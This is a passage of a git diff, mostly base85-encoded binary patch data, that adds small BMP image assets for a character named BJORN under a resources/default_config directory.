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 D-Z7%4 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/25.bmp b/resources/default_config/characters/BJORN/static/25.bmp new file mode 100644 index 0000000000000000000000000000000000000000..9b51eecbbd7b53585b9c8e5a81752e26e57fce86 GIT binary patch literal 438 zcmchTy$XXc6ouoIt#s_DTNiQb19a~sh~mps$PmRJ{D~kLI*5~dpP&z*@6tsmwFiqr z`T#v}4<}#lC6}Bpca1DM!H+14+M_gbfD>}X{bTp71;B(5P1D>~A=h;co+L?CRj%v$ zzVCS++OjMIM}uja>ol<}OG=4jp68r%+qNCYfrnv;ad3obnx3nW<2VM7qG(pN@wcjt ztL^iDI9_?FO4Ahk2SM<&4`U3xD2l%CyRK{77LHt&B{)7{97n@2D5bit55oWg{sEOT B_MHF# literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/50.bmp b/resources/default_config/characters/BJORN/static/50.bmp new file mode 100644 index 0000000000000000000000000000000000000000..dfffc4e5da5ddda465d3d3c5d902345ce35927fd GIT binary patch literal 438 zcmaKnziNYU5Xa48w^Fb}UqI~S;Ly#blS>CzSEH|Cmw+NF3I0pe=%!E5Q4qx!$Rdc3 z5gbxUzZfi}Ll5rD-RF0Azq|L3uN5)d8}t?a0Dpq7h!-e9eB!-%y!i|uS(f>}pCrlg zc!UN)a5x;mP18)%biH1ystOIm(6TIWymB13bQ3g9M^S`yyWOH!mSsgzph#WU1-EUx zsw%Xj3|f}uZnpzRu^$-lux7(hEVNBEXy%=I_f_m`#^6UQ`|6;~vF~m3xb2Lr+GiS5efX8uM6a}vHJP(@Z ZIW7Vp$Fb`=mSstjWEkdjI-SpF@E>QJ*NFfC literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/75.bmp b/resources/default_config/characters/BJORN/static/75.bmp new file mode 100644 index 0000000000000000000000000000000000000000..86f4638ae21f17d660acc6ac25e215b76ecdbf49 GIT binary patch literal 438 zcmY*VJ!^wd6g7i%D;+y`u>pyKP`4o6`xnH)gbeu+)k%#;QR8=UHIOA4I*LQbIAzH% z(IG;5h#1I)d${+!bMCwEeSZCph+BLB-;qzq7vzX|1ro$J&i|hKyb*vb%fc}H86pUR zJkP=Fx}GG7EX(ux90-|ZS>U568jr_=o1kerO;fbCZM&`u9MAI>iv`0l zEXx9y%Oxg54;ROA_xU`}$8n4nuKj+$TCK1c@NhUdjssrPwCiISh5;V3uInyCpziNg p6y;HVRaF&w+>0gg7CZ!qy8oZ1X-=mTMNuS4P9~G{`P{ZG^#9d*xat4^ literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/AI.bmp b/resources/default_config/characters/BJORN/static/AI.bmp new file mode 100644 index 0000000000000000000000000000000000000000..819dac8f801731ba1313244c659f52e3866d30d2 GIT binary patch literal 1062 zcmbVLO^bn16uvJ)WELZOl?5ASYco5gw=B@auTYkhjbC8J4m%4{R3t1`o zOlgQDA2UzyosrLGnp5|5-t#=qIrpCTUhd5xBD}rAzhFIoFNUyu{zFJe>4`2r0r&YY z`@gQ&>oppUX0y3ouWwrqheM$CdVR52%w{vhtyXKbS`iYBMkNx7R4R?dVpqETes8r} zfvQxhe!m}yL=YhSR@h^i$(r?Znql= zxm=#jW~7=|`8(=Y>Lyn!uwRHQEVDqtUorF7N3!n~lk2 z0tJSyGMNk>N1>TOAVBv|_j%S2>0mGj7CI%9$xf%!?RFgw2QAZXw;$_3#GpX*`~6@| zr&BsCo6UAO93JbA$D_;Tg3e$tY`5EZJdPNaN~Nd>{@y;3PN&l#3Iu{&E{DM**6a22 z`TRE>C_0@EbhFv4R4Nhpe7=+DaX%nluNQP`m?!?_-*lBq1tX<8i^YO_cCHJBLV)m( z3x&evd)V!EcDr4zRfhh;e}dX|>vNxqPVuh^sLgjmG2gRWm?%27o4$2?l@6tdu76%ymWE>cJ&Nwizo?u{L{=mSn;jjbP3;_NcD*^xj literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/auto.bmp b/resources/default_config/characters/BJORN/static/auto.bmp new file mode 100644 index 0000000000000000000000000000000000000000..12b6f4f6b6463b953155b4105fc98dcb943d05b5 GIT binary patch literal 1062 zcmZ{j&u-d45XKi3F6FO!>K&=7WO~GKZVVhqrSKAs5IvDvJU}oJPr|hU-hgv~Lv3<_ zrsqJ^12k>GrayZUw<+q%yBg1Y-_Go}vv1$MimG7ftgo3b9%e+n4E*1pDK$#T3>+*! zHf#BQ{k+@ny_sWoEXy#ATre;?9m{cSLI6VWBX768UoLM<^J5~Bh{a-XYK)VUoTf#i z(L^#~nkE2XLJfHQeO)XHg@RI%#)rmqI&t0IJ{TC2@wi^EQ<+}SfeBS9va^w%&!^Mr z!C)Zp!}ap=Q!16xbsaDir997VHk)kMAM}9-r#z(j9;m$c`+qUEJIF%5ol*>fs z^La?b#*@uv#dCW49<+S7KF+5TdAB{%j zqhM?)Qfz(!0DI&aM^EY`jtY{4l|AstpiZc7a=B8;@O3%&b(#3ONLV3LaBJdYZDUPgp)=M?wtl% zEpPJqd?u3_{=d%#{XUIYEEaE9tDw&UmF^ddIlUK&L>dkHdg{4uSRQA>NhV0&uCF;I xlz-om`Q#ndYFrgUq>{;2t983t3h6H%rr*(?i%j9WMe=gFbaBy{&76aG`y1pIc>4eV literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/static/bjorn1.bmp b/resources/default_config/characters/BJORN/static/bjorn1.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1c81cf61ed896f2c5c790ce87c6243d80f82a626 GIT binary patch literal 18462 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 